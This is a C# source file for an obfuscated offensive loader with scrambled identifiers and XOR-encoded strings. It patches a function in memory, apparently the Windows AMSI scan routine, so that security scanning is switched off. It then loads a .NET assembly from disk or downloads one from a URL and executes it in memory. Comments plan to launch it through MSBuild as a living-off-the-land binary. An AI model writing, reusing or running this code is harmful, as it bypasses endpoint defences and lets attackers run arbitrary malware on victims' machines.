using System; using System.IO; using System.Net; using System.Text; using System.Reflection; using System.Runtime.InteropServices; //This if for MSBuild LOL bin stuff later //using Microsoft.Build.Framework; //using Microsoft.Build.Utilities; public class MannitolsAviador{ private static WebClient ToluateRepunish = new WebClient() { }; [DllImport("kernel32", EntryPoint = "VirtualProtect")] private static extern bool VirtualProtect(IntPtr RegionalisticWrongheaded, UIntPtr OutdoneInterferometer, uint IotacismusColdheartedly, out uint PediatricsNonpursuant); [DllImport("kernel32", EntryPoint = "LoadLibrary")] private static extern IntPtr LoadLibrary(string SulphureosalineForescript); [DllImport("kernel32", EntryPoint = "GetProcAddress")] private static extern IntPtr GetProcAddress(IntPtr ForeignsMegatypy, string LegionariesThyrsoidal); private static IntPtr SapheadsOverfull(IntPtr SecretinsAvile) { uint TransportationalUngloves = 0; if (VirtualProtect(SecretinsAvile, (UIntPtr)SubarticulativeSpacemanship().Length, 0x40, out TransportationalUngloves)) { return SecretinsAvile; } else { return (IntPtr)0; } } private static byte[] ReversementBiporous(string BucketfulIwwort) { return File.ReadAllBytes(BucketfulIwwort); } private static void BepommelStateless() { Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("CFQ0VB8kAAQ+BgQIH1VCRjwGASAAEg0WIQ=="), "SuitableParatuberculosis"))); Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("ElM0RE86Chk1KhQUHABHChYsUjJJQhZZWSRlICI1LSY9MRkzPSxPLy4/PhA4NTcmOjI="), "IridotomyEupyrion"))); Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("HlM0QzpOSA1DRxxVWVFFPR8AAAwPDQBVZRcREwQAERxVES4BHE8wICMrJjE+PC0tDVIIDQVDJD0yJgwwOjs2UhsbSQEETA4YNhdfV0EGCwwaFyQR"), "EricaceousAutoerotically"))); Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("FFEtSTcgJiIxHTY3Nzs0QV5XUwAABAADDxUJSHASCwQdBAQdHQBvBB9JDgRUFQUjAFkMHgwTUx0cbzMjAQ0TBEUBPgcLGjgGCB0dUzgYFQdMCBoTCzsWHQ=="), "OppilatedPsychiasis"))); } private static object LeucaenaSoilure(MethodInfo FrumpBombardments, object[] PachypleuriticThomsonite) { return FrumpBombardments.Invoke(null, PachypleuriticThomsonite); } private static MethodInfo BerylsMembranocartilaginous(Assembly asm) { return asm.EntryPoint; } private static byte[] BackscatteringUnmalicious(byte[] NonperceivablyHelsinki, string YachtmanshipConsumership) { byte[] CrossbarsLeptocephaly = Encoding.UTF8.GetBytes(YachtmanshipConsumership); byte[] IndigenousLikeability = new byte[NonperceivablyHelsinki.Length]; for (int i = 0; i < NonperceivablyHelsinki.Length; i++) { IndigenousLikeability[i] = (byte)(NonperceivablyHelsinki[i] ^ CrossbarsLeptocephaly[i % CrossbarsLeptocephaly.Length]); } return IndigenousLikeability; } private static byte[] SubarticulativeSpacemanship() { if (System.Environment.Is64BitOperatingSystem) return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; } private static void HamathiteSimplicize() { IntPtr SecretinsAvile = SapheadsOverfull(AllowanceUnjealously()); if (SecretinsAvile != (IntPtr)0) { Marshal.Copy(SubarticulativeSpacemanship(), 0, SecretinsAvile, SubarticulativeSpacemanship().Length); Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("C14zWToGDi4MAAMJHB8FF0cgFBoaARYJbSg+IyZI"), "PunyismMispoising"))); } else { Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("C1M4QjENFQ0LAAAAdCg9PC9GNRE7KScl"), "PrebalancingTipoffs"))); } } public static void Main(string[] args) { Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("CFQ0VB8kAAQ+BgQIH1VCRjwGASAAEg0WIQ=="), "SuitableParatuberculosis"))); ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072; try { string WarragalOverfeminine = ""; string HygrometricRajbansi = ""; //The valid amount of expected input args ranges between 1 -3 if (args.Length > 0 && args.Length < 4) { //If the first arg is b64, expect the next one to be payload path, and check for payload args if ((args[0].ToLower().Equals(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("ZF8NWF0="), "IronicallyHarasses"))) || args[0].ToLower().Equals(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("LldA"), "LathesmanAbbrev")))) && args.Length > 2) { HygrometricRajbansi = Encoding.UTF8.GetString(Convert.FromBase64String(args[1])); WarragalOverfeminine = (args.Length == 3) ? Encoding.UTF8.GetString(Convert.FromBase64String(args[2])) : ""; } else { HygrometricRajbansi = (args.Length >= 1) ? args[0] : ""; WarragalOverfeminine = (args.Length >= 2) ? args[1] : ""; } if (!string.IsNullOrWhiteSpace(HygrometricRajbansi)) EctadUnglue(WarragalOverfeminine, HygrometricRajbansi); else BepommelStateless(); }else if (args.Length == 0) { while (true) { Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("DlE8UzoHFxsVQjRFOgZBQx8WFQpMCidOFAEfTkcaDkIJHTocQA=="), "UnassignableShadowable"))); Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("FlYuQScaGAcbUB8SNglDBAFMHBYJUl5zSQ=="), "MisanthroposBacksliders"))); string NitroprussiatePlexiglas = Console.ReadLine(); if (NitroprussiatePlexiglas.Trim().ToLower().Equals(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("PA=="), "DejectsDaffadowndillies")))) Environment.Exit(0); Console.WriteLine("[?] Input args (optional) -> "); string intWarragalOverfeminine = Console.ReadLine(); if (!string.IsNullOrWhiteSpace(NitroprussiatePlexiglas)) EctadUnglue(intWarragalOverfeminine, NitroprussiatePlexiglas); } } } catch (Exception ex) { Console.WriteLine(ex.Message); Environment.Exit(0); } } private static object EctadUnglue(string TheismsPentatomidae, string NeuromastStiffeners) { HamathiteSimplicize(); Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("GkkyQzoxJ0okESYtSVRE"), "AbococketPreindependently")) + NeuromastStiffeners); if (!string.IsNullOrEmpty(TheismsPentatomidae)) Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("GEoxRCQADgAAJgEaHUVIYw=="), "CalderiumConner")) + TheismsPentatomidae); object[] UnweariablenessJiggers = new object[] { new string[] { TheismsPentatomidae } }; if (!NeuromastStiffeners.ToLower().StartsWith(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("OxgbBg=="), "SlovakianUnderlye")))) return LeucaenaSoilure(BerylsMembranocartilaginous(PoopsBronzier(ReversementBiporous(NeuromastStiffeners))), UnweariablenessJiggers); return LeucaenaSoilure(BerylsMembranocartilaginous(PoopsBronzier(GawceyEntwines(NeuromastStiffeners))), UnweariablenessJiggers); } private static byte[] GawceyEntwines(string url) { return ToluateRepunish.DownloadData(url); } private static IntPtr AllowanceUnjealously() { return GetProcAddress(LoadLibrary(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("LBgACkETOQI="), "MuscowUncommanderlike"))), Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("FQgfDCMRCAA2EBQ1EBA="), "TeleprinterSuboptimums"))); } private static Assembly PoopsBronzier(byte[] DiocesianAcidosteophyte) { return Assembly.Load(DiocesianAcidosteophyte); } /* //This is for MSBuild later public class ClassExample : Task, ITask { public override bool Execute() { MannitolsAviador.Main(new string[] { }); return true; } } */ }